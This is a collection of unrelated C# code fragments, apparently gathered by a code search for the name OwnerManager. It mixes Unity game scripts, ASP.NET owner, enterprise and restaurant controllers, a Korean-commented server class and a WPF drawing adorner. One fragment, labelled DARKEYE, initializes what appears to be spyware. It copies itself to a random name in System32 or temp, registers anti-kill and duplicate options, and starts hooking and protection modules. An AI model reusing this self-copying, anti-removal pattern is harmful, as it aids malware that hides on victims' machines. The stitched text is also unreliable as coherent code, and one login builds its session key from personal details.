private void OnCollisionEnter(Collision collision) { Debug.Log("Boum:" + collision.gameObject.name, collision.gameObject); SynchPlayerInfo playerInfo = collision.transform.GetComponent <SynchPlayerInfo>(); if (playerInfo != null) { Debug.Log("HIT !!"); SpawnPoint.Reposition(playerInfo.transform); OwnerManager owner = transform.GetComponent <OwnerManager>(); if (owner) { Debug.Log("Winner " + owner._playerInfo._pseudo); } } for (int i = 0; i < _prefabEffectToCreated.Length; i++) { GameObject obj = Instantiate(_prefabEffectToCreated[i], collision.contacts[0].point, Quaternion.identity); Destroy(obj, _destructionTime); } Destroy(this.gameObject); }
private static void Initialize(String[] args) { try { globalLog = new Log(null); globalLog.AddLog("Connected"); Protection.Initialize(); commandManager = new CommandManager(); duplicateManager = new DuplicateManager(Utils.Utils.IsAdmin ? Utils.Utils.GetRandomFileNameFromDirectory("C:\\Windows\\System32") : (Path.GetTempPath() + Utils.Utils.GetRandomString(6) + ".exe")); ownerManager = new OwnerManager(); dataManager = new DataManager(); windowManager = new WindowManager(); lineManager = new LineManager(); hookManager = new HookManager(); commandManager.registerCommand("-duplicate"); commandManager.registerCommand("-antikill"); commandManager.registerCommand("-debug"); ownerManager.registerOwner(dataManager.ownerData); commandManager.Init(args); duplicateManager.Init(); windowManager.Init(); Streams.Initialize(); globalLog.DispathContent(); hookManager.Init(); } catch (Exception ex) { WriteUtils.writeError(DARKEYE_TITLE + ": " + ex.Message); } }
private static object syncRoot = new Object(); ///< 멀티쓰레드환경에서 동기화 문제를 해결하기 위한 변수 /** * @brief * 필요한 객체를 생성하는 생성자. */ private FrontManager() { ownerManagers = new OwnerManager[(int)NETWORK_MODULE.NETWORK_MODULE_COUNT]; ownerManagers[(int)NETWORK_MODULE.NETWORK_MODULE_LOBBY] = new OwnerManager(300000); ownerManagers[(int)NETWORK_MODULE.NETWORK_MODULE_GAME] = new OwnerManager(300000); ownerManagers[(int)NETWORK_MODULE.NETWORK_MODULE_CLIENT] = new FrontUserManager(300000); }
public void AssociateTo(GameObject target) { Debug.Log("Hey mon ami"); OwnerManager owner = target.AddComponent <OwnerManager>(); owner._playerInfo = _playerInfo; }
public OwnerController( OwnerManager ownerManager, AdManager adManager, IHttpContextAccessor httpContextAccessor) : base(httpContextAccessor) { this.ownerManager = ownerManager; this.adManager = adManager; }
public ActionResult ManageEnterpriseAdding(Enterprise enterprise, HttpPostedFileBase imageUpload) { var owner = OwnerManager.DefineOwner(HttpContext); enterprise.OwnerId = owner.Id; var result = EnterpriseManager.AddEnterprise(enterprise, imageUpload); return(RedirectToAction("AddEnterprise", new { id = result.Id })); }
public ActionResult Enterprises() { if (!ExistsOwner()) { return(RedirectToAction("LogIn", "Owner")); } var curOwner = OwnerManager.DefineOwner(HttpContext); return(View(curOwner)); }
//private ReservationManager reservationManager; #endregion PROPERTIES #region CONSTRUCTOR public RestaurantController() { this.restaurantManager = new RestaurantManager(); this.serviceManager = new ServiceManager(); this.priceListManager = new PriceListManager(); this.ownerManager = new OwnerManager(); this.addressManager = new AddressManager(); this.employeeManager = new EmployeeManager(); this.foodTypeManager = new FoodTypeManager(); //this.reservationManager = new ReservationManager(); }
public ActionResult ManageRegistration(Owner owner, HttpPostedFileBase imageUpload, string ConfirmPassword) { if (owner.Password != ConfirmPassword) { return(null); } var result = OwnerManager.RegistrateOwner(HttpContext, owner, imageUpload); return(RedirectToAction("Registrate", new { id = result.Id })); }
public RestoBookService() { this.restaurantManager = new RestaurantManager(); this.ownerManager = new OwnerManager(); this.employeeManager = new EmployeeManager(); this.serviceManager = new ServiceManager(); this.priceListManager = new PriceListManager(); this.foodTypeManager = new FoodTypeManager(); this.addressManager = new AddressManager(); this.lightRestaurantManager = new LightRestaurantManager(); this.reservationManager = new ReservationManager(); this.customerManager = new CustomerManager(); }
public ActionResult Create(Owner owner) { try { //call the OwnerManager to ADD OwnerManager.Add(owner); return(RedirectToAction(nameof(Index))); } catch { return(View()); } }
public ActionResult Edit(Owner owner) { try { //call the OwnerManager to EDIT OwnerManager.Update(owner); return(RedirectToAction(nameof(Index))); } catch { return(View()); } }
public ActionResult ManageLogIn(string email, string password) { Owner owner; var result = OwnerManager.LogIn(email, password, out owner); if (result == ProcessResults.SuccessfullyLoggedIn) { string hashedKey = SecurityManager.GetHashString(owner.BirthDay + owner.FirstName + owner.Email); SetOwner(hashedKey); return(RedirectToAction("Index", "Dashboard")); } return(RedirectToAction("LogIn", new { id = result.Id })); }
public IActionResult Create() { // call the owner manager and get the collection of key value objects var owner = OwnerManager.GetAsKEyValuePairs(); // create a collection of SelectListItems var list = new SelectList(owner, "Value", "Text"); ViewBag.OwnerId = list; //// create the collection of property types select list items //var types = PropertyTypeManager.GetAsKEyValuePairs(); //var styles = new SelectList(types, "Value", "Text"); ViewBag.PropertyTypeId = GetPropertyTypes(); // return views return(View()); }
public JsonResult UserInfo() { if (!ExistsOwner()) { Response.StatusCode = (int)HttpStatusCode.MethodNotAllowed; return(null); } var owner = OwnerManager.DefineOwner(HttpContext); return(Json(new { owner.LastName, owner.FirstName, owner.MiddleName, Birthday = owner.BirthDay.ToShortDateString(), owner.Email, owner.PicturePath })); }
public JsonResult GetEnterprises() { if (!ExistsOwner()) { Response.StatusCode = (int)HttpStatusCode.MethodNotAllowed; return(null); } var owner = OwnerManager.DefineOwner(HttpContext); var enterprises = owner.Enterprises.ToList(); Response.StatusCode = (int)HttpStatusCode.OK; return(Json(enterprises.Select(ent => new { ent.Id, ent.Title, ent.Balance, ent.Type, ent.Description, ent.LogoPath }))); }
public JsonResult GetTopProducts() { if (!ExistsOwner()) { Response.StatusCode = (int)HttpStatusCode.MethodNotAllowed; return(null); } var owner = OwnerManager.DefineOwner(HttpContext); var products = from ent in owner.Enterprises from product in ent.Products select product; var rnd = new Random(Environment.TickCount); return(Json(products.Select(x => new { x.Name, x.Price, x.PicturePath, x.Amount, ordersCount = rnd.Next(30, 100) }).OrderBy(x => - x.ordersCount))); }
protected bool ExistsOwner() { return(OwnerManager.DefineOwner(HttpContext) != null); }
// GET: OwnerController/Edit/5 public ActionResult Edit(int id) { var owner = OwnerManager.Find(id); return(View(owner)); }
// GET: OwnerController public ActionResult Index() { var owners = OwnerManager.GetAll(); return(View(owners)); }
public OwnerResendController(OwnerManager ownerManager) { this.ownerManager = ownerManager; }
public ActionResult Confirm(string hash) { ProcessResult pr = OwnerManager.ConfirmRegistration(hash); return(RedirectToAction("Dashboard", "Index", new { id = pr.Id })); }
public IActionResult Edit(Owner owner) { OwnerManager.Update(owner); return(RedirectToAction(nameof(Index))); }
public ModelFactory(HttpRequestMessage request, OwnerManager appUserManager) { _UrlHelper = new UrlHelper(request); _ownerManager = appUserManager; }
public RedefinePasswordController( OwnerManager ownerManager, IHttpContextAccessor httpContextAccessor) : base(httpContextAccessor) { this.ownerManager = ownerManager; }
//public LoginController( // IEmailService emailService, // IConfiguration configuration, // IAppSettings settings) //{ // ownerManager = new OwnerManager(emailService, configuration, settings); //} public LoginController(OwnerManager ownerManager) { this.ownerManager = ownerManager; }
// ----------------------------------------------------------------------------------------------------------------------- public override void Visualize(bool Show = true, bool OnlyAdornAsSelected = false) { // Validate that the Adorner still points something. // Else, maybe an "Undo" was performed, so the Represented-Idea may not exist anymore. if (ManipulatedSymbol == null || ManipulatedSymbol.OwnerRepresentation == null) { if (ManipulatedSymbol != null) { OwnerManager.RemoveAdorners(); } OwnerManager.OwnerView.UnselectAllObjects(); return; } var WorkingHeadingRectangle = ManipulatingHeadingRectangle; if (ManipulatedSymbol.IsHidden) { if (ManipulatedSymbol.CanShowNameOverCenter || ManipulatedSymbol.CanShowDefinitionOverTop) { WorkingHeadingRectangle = ManipulatingHeadingLabel; } else { return; // Because this is "hidden" (or shown too little to be noticed by user). } } // Reset previous drawn indicators ClearAllIndicators(); if (!Show) { return; } // Show every other selected objects VisualizeOtherAffectedObjects(); // Determine pointing areas var PointingHeadingArea = new Rect(WorkingHeadingRectangle.X - VisualSymbol.INDICATOR_SIZE / 2.0, WorkingHeadingRectangle.Y - VisualSymbol.INDICATOR_SIZE / 2.0, WorkingHeadingRectangle.Width + VisualSymbol.INDICATOR_SIZE, WorkingHeadingRectangle.Height + VisualSymbol.INDICATOR_SIZE); var PointingDetailsArea = new Rect(ManipulatingDetailsRectangle.X - VisualSymbol.INDICATOR_SIZE / 2.0, ManipulatingDetailsRectangle.Y - VisualSymbol.INDICATOR_SIZE / 2.0, ManipulatingDetailsRectangle.Width + VisualSymbol.INDICATOR_SIZE, ManipulatingDetailsRectangle.Height + VisualSymbol.INDICATOR_SIZE); /*T var PointingHeadingArea = WorkingHeadingRectangle; * var PointingDetailsArea = this.ManipulatingDetailsRectangle; */ // Start drawings creation var DrwFrmPointingHeadingPanel = new DrawingGroup { Opacity = FrmOpacity }; DrwFrmPointingHeadingPanel.Children.Add(new GeometryDrawing(FrmStroke, FrmPencil, new RectangleGeometry(PointingHeadingArea))); //-? if (this.ManipulatedSymbol.CanShowDefinitionOverTop || this.ManipulatedSymbol.CanShowNameOverCenter) // DrwFrmPointingHeadingPanel.Children.Add(new GeometryDrawing(this.FrmStroke, this.FrmPencil, new RectangleGeometry(this.ManipulatedSymbol.LabelingArea))); FrmPointingHeadingPanel = DrwFrmPointingHeadingPanel.RenderToDrawingVisual(); Indicators.Add(FrmPointingHeadingPanel); // IMPORTANT: The Details related indicators MUST BE CREATED in order to not be mismatched with null in later evaluations var DrwFrmPointingDetailsPanel = new DrawingGroup { Opacity = DrwFrmPointingHeadingPanel.Opacity }; DrwFrmPointingDetailsPanel.Children.Add(new GeometryDrawing(FrmStroke, FrmPencil, new RectangleGeometry(PointingDetailsArea))); FrmPointingDetailsPanel = DrwFrmPointingDetailsPanel.RenderToDrawingVisual(); if (ManipulatedSymbol.AreDetailsShown) { Indicators.Add(FrmPointingDetailsPanel); } if (!OnlyAdornAsSelected && WorkingHeadingRectangle.Width >= EDITAREA_MIN_WIDTH && WorkingHeadingRectangle.Height >= EDITAREA_MIN_HEIGHT) { var DrwFrmEditPanel = new DrawingGroup { Opacity = FrmOpacityEdit }; var EditingArea = new Rect(WorkingHeadingRectangle.X + WorkingHeadingRectangle.Width * 0.25, WorkingHeadingRectangle.Y + WorkingHeadingRectangle.Height * 0.25, WorkingHeadingRectangle.Width * 0.5, WorkingHeadingRectangle.Height * 0.5); DrwFrmEditPanel.Children.Add(new GeometryDrawing(FrmStrokeEdit, FrmPencil, new RectangleGeometry(EditingArea))); FrmEditZone = DrwFrmEditPanel.RenderToDrawingVisual(); Indicators.Add(FrmEditZone); ExclusivePointingIndicators.Add(FrmEditZone); } if (!ManipulatedSymbol.IsHidden) { CreateActioners(OnlyAdornAsSelected, PointingHeadingArea, WorkingHeadingRectangle); CreateSelectionIndicators(); } // Needed in order to show this adorner's indicators on top of a potentially selected visual element RefreshAdorner(); }
public IActionResult Create(Owner owner) { OwnerManager.Add(owner); return(RedirectToAction(nameof(Index))); }
public IActionResult Index(int a, int b, int c) { var owners = OwnerManager.GetAll(); return(View(owners)); }
public OwnerConfirmationController(OwnerManager ownerManager) { this.ownerManager = ownerManager; }